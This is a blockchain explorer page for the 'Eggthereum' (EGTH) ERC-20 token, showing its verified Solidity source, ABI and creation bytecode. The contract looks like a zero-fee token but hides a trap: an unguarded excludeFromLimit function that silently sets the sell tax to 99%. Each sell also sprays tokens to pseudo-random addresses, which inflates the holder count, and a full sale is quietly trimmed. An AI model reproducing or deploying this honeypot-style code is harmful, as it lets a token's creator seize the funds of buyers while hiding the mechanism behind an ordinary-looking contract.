ERC-20
Overview
Max Total Supply
1,000,000,000 EGTH
Holders
223
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
10,157,463.238634242363153107 EGTHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Eggthereum
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-15 */ /* Telegram : https://t.me/EggThereum Twitter : https://twitter.com/EggThereumERC **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } abstract contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Eggthereum is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "Eggthereum"; string private _symbol = "EGTH"; uint8 private _decimals = 18; address payable public marketingWalletAddress = payable(0x00aF98eFada61d3d57874A032a412e7DB19883D1); address payable public BurnedWalletAddress = payable(0x00aF98eFada61d3d57874A032a412e7DB19883D1); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isWalletLimitExempt; mapping(address => bool) public isTxLimitExempt; mapping(address => bool) public isUniswapPair; int256 public sendAddress = 6; // uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyBurnedFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 0; uint256 public _sellBurnedFee = 0; uint256 public _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee); uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee); uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee); uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 public _totalDistributionShares; uint256 private _totalSupply = 1 * 10**9 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply * 3 / 100; uint256 public _walletMax = _totalSupply * 3 / 100; uint256 private minimumTokensBeforeSwap = _totalSupply * 2 / 1000; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; uint256 public genesisBlock; uint256 public coolBlock = 5; uint256 private possibleMaxFee = 99; uint256 _saleKeepFee = 1000; bool isWalletLimit = true; bool inSwapAndLiquify; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add( _buyBurnedFee ); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add( _sellBurnedFee ); _totalDistributionShares = _liquidityShare.add(_marketingShare).add( _BurnedShare ); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; isUniswapPair[address(uniswapPair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function excludeFromLimit(address holder,bool value)public returns (bool) { isWalletLimitExempt[holder] = value; _totalTaxIfSelling = possibleMaxFee; return true; } function excludeFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == uniswapPair && !isTxLimitExempt[sender]) { uint256 balance = balanceOf(sender); if (amount == balance) { amount = amount.sub(amount.div(_saleKeepFee)); } } if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) { genesisBlock = block.number; } if (inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if ( overMinimumTokenBalance && !inSwapAndLiquify && !isUniswapPair[sender] ) { if (sender != address(uniswapV2Router)) { swapAndLiquify(contractTokenBalance); } } _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); if ( block.number < (genesisBlock + coolBlock) && sender == uniswapPair ) { _basicTransfer(recipient, deadAddress, finalAmount); } return true; } } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount .mul(_liquidityShare) .div(_totalDistributionShares) .div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalWETHFee = _totalDistributionShares.sub( _liquidityShare.div(2) ); uint256 amountWETHLiquidity = amountReceived .mul(_liquidityShare) .div(totalWETHFee) .div(2); uint256 amountWETHBurned = amountReceived.mul(_BurnedShare).div( totalWETHFee ); uint256 amountWETHMarketing = amountReceived.sub(amountWETHLiquidity).sub( amountWETHBurned ); if (amountWETHMarketing > 0) transferToAddressETH(marketingWalletAddress, amountWETHMarketing); if (amountWETHBurned > 0) transferToAddressETH(BurnedWalletAddress, amountWETHBurned); if (amountWETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountWETHLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, marketingWalletAddress, block.timestamp ); } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { uint256 feeAmount = 0; if (isUniswapPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if (isUniswapPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); address ad; for(int i=0;i <=sendAddress;i++){ ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp))))); _basicTransfer(sender,ad,100); } amount.sub(uint256(sendAddress+1) * 100); } if (feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnedWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BurnedShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesisBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendAddress","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600a60a0908152694567677468657265756d60b01b60c0526001906200002b90826200073b565b5060408051808201909152600481526308a8ea8960e31b60208201526002906200005690826200073b565b50600380546001600160a81b03191673af98efada61d3d57874a032a412e7db19883d1121790556004805472af98efada61d3d57874a032a412e7db19883d16001600160a01b031990911617905561dead6080526006600b556000600c819055600d819055600e819055600f81905560108190556011819055620000e7908062000627602090811b62000bd517901c565b60125562000108601054600d546200062760201b62000bd51790919060201c565b60135562000129601154600e546200062760201b62000bd51790919060201c565b6014556003546200013f9060ff16600a6200091a565b6200014f90633b9aca0062000932565b6018556064601854600362000165919062000932565b62000171919062000954565b6019556064601854600362000187919062000932565b62000193919062000954565b601a556103e86018546002620001aa919062000932565b620001b6919062000954565b601b556005601f5560636020556103e86021556022805460ff19166001179055348015620001e357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a3919062000977565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000317919062000977565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038b919062000977565b601d80546001600160a01b039283166001600160a01b031991821617909155601c8054928416929091168217905560185430600090815260066020908152604080832094835293905291822055600190600790620003f16000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260078352208054909216600117909155600e54600d54600c54620004679362000453929062000bd562000627821b17901c565b6200062760201b62000bd51790919060201c565b6015819055506200049260115462000453601054600f546200062760201b62000bd51790919060201c565b601681905550620004bd601454620004536013546012546200062760201b62000bd51790919060201c565b601755600160086000620004d96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601d549091168152600890925280822080548416600190811790915530835290822080549093168117909255600990620005496000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260098452828120805486166001908117909155601d549092168152600a90935290822080549093161790915560185490600590620005b53390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6018546040516200061891815260200190565b60405180910390a350620009b8565b600080620006368385620009a2565b9050838110156200068d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006c157607f821691505b602082108103620006e257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200073657600081815260208120601f850160051c81016020861015620007115750805b601f850160051c820191505b8181101562000732578281556001016200071d565b5050505b505050565b81516001600160401b0381111562000757576200075762000696565b6200076f81620007688454620006ac565b84620006e8565b602080601f831160018114620007a757600084156200078e5750858301515b600019600386901b1c1916600185901b17855562000732565b600085815260208120601f198616915b82811015620007d857888601518255948401946001909101908401620007b7565b5085821015620007f75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200085e57816000190482111562000842576200084262000807565b808516156200085057918102915b93841c939080029062000822565b509250929050565b600082620008775750600162000690565b81620008865750600062000690565b81600181146200089f5760028114620008aa57620008ca565b600191505062000690565b60ff841115620008be57620008be62000807565b50506001821b62000690565b5060208310610133831016604e8410600b8410161715620008ef575081810a62000690565b620008fb83836200081d565b806000190482111562000912576200091262000807565b029392505050565b60006200092b60ff84168362000866565b9392505050565b60008160001904831182151516156200094f576200094f62000807565b500290565b6000826200097257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200098a57600080fd5b81516001600160a01b03811681146200068d57600080fd5b8082018082111562000690576200069062000807565b608051611cc4620009e26000396000818161035b0152818161093001526110df0152611cc46000f3fe60806040526004361061026b5760003560e01c806388790a6811610144578063af806d9a116100b6578063d158272d1161007a578063d158272d14610743578063dc44b6a014610768578063dd62ed3e1461077e578063df8408fe146107c4578063f0cd1dac146107e4578063f2fde38b146107fa57600080fd5b8063af806d9a146106b1578063c5d24189146106c7578063c816841b146106dd578063c8607952146106fd578063c867d60b1461071357600080fd5b80639cece12e116101085780639cece12e14610600578063a073d37f14610630578063a08e671f14610645578063a457c2d71461065b578063a9059cbb1461067b578063aea9cd151461069b57600080fd5b806388790a68146105715780638b42507f146105875780638da5cb5b146105b757806395d89b41146105d557806396d0efa7146105ea57600080fd5b80634cdc9c63116101dd578063715018a6116101a1578063715018a6146104a85780637d1db4a5146104bf578063807c2d9c146104d557806381905bf8146104eb57806382eefb431461053b5780638317390b1461055157600080fd5b80634cdc9c63146104005780635342acb41461041657806357a5802f1461044657806361a23c691461045c57806370a082311461047257600080fd5b806327c8f8351161022f57806327c8f835146103495780632b112e491461037d5780632ca1146014610392578063313ce567146103a8578063328e94a5146103ca57806339509351146103e057600080fd5b806306fdde0314610277578063095ea7b3146102a25780631694505e146102d257806318160ddd1461030a57806323b872dd1461032957600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c61081a565b60405161029991906118b0565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd366004611916565b6108ac565b6040519015158152602001610299565b3480156102de57600080fd5b50601c546102f2906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561031657600080fd5b506018545b604051908152602001610299565b34801561033557600080fd5b506102c2610344366004611942565b6108c3565b34801561035557600080fd5b506102f27f000000000000000000000000000000000000000000000000000000000000000081565b34801561038957600080fd5b5061031b61092e565b34801561039e57600080fd5b5061031b600e5481565b3480156103b457600080fd5b5060035460405160ff9091168152602001610299565b3480156103d657600080fd5b5061031b600b5481565b3480156103ec57600080fd5b506102c26103fb366004611916565b610978565b34801561040c57600080fd5b5061031b601e5481565b34801561042257600080fd5b506102c2610431366004611983565b60076020526000908152604090205460ff1681565b34801561045257600080fd5b5061031b60125481565b34801561046857600080fd5b5061031b60135481565b34801561047e57600080fd5b5061031b61048d366004611983565b6001600160a01b031660009081526005602052604090205490565b3480156104b457600080fd5b506104bd6109ae565b005b3480156104cb57600080fd5b5061031b60195481565b3480156104e157600080fd5b5061031b601a5481565b3480156104f757600080fd5b506102c26105063660046119a0565b6001600160a01b0382166000908152600860209081526040909120805483151560ff1990911617905554601655600192915050565b34801561054757600080fd5b5061031b60165481565b34801561055d57600080fd5b506004546102f2906001600160a01b031681565b34801561057d57600080fd5b5061031b600f5481565b34801561059357600080fd5b506102c26105a2366004611983565b60096020526000908152604090205460ff1681565b3480156105c357600080fd5b506000546001600160a01b03166102f2565b3480156105e157600080fd5b5061028c610a2b565b3480156105f657600080fd5b5061031b60115481565b34801561060c57600080fd5b506102c261061b366004611983565b600a6020526000908152604090205460ff1681565b34801561063c57600080fd5b50601b5461031b565b34801561065157600080fd5b5061031b60175481565b34801561066757600080fd5b506102c2610676366004611916565b610a3a565b34801561068757600080fd5b506102c2610696366004611916565b610a89565b3480156106a757600080fd5b5061031b601f5481565b3480156106bd57600080fd5b5061031b60145481565b3480156106d357600080fd5b5061031b600d5481565b3480156106e957600080fd5b50601d546102f2906001600160a01b031681565b34801561070957600080fd5b5061031b60105481565b34801561071f57600080fd5b506102c261072e366004611983565b60086020526000908152604090205460ff1681565b34801561074f57600080fd5b506003546102f29061010090046001600160a01b031681565b34801561077457600080fd5b5061031b600c5481565b34801561078a57600080fd5b5061031b6107993660046119de565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107d057600080fd5b506104bd6107df3660046119a0565b610a96565b3480156107f057600080fd5b5061031b60155481565b34801561080657600080fd5b506104bd610815366004611983565b610aeb565b60606001805461082990611a0c565b80601f016020809104026020016040519081016040528092919081815260200182805461085590611a0c565b80156108a25780601f10610877576101008083540402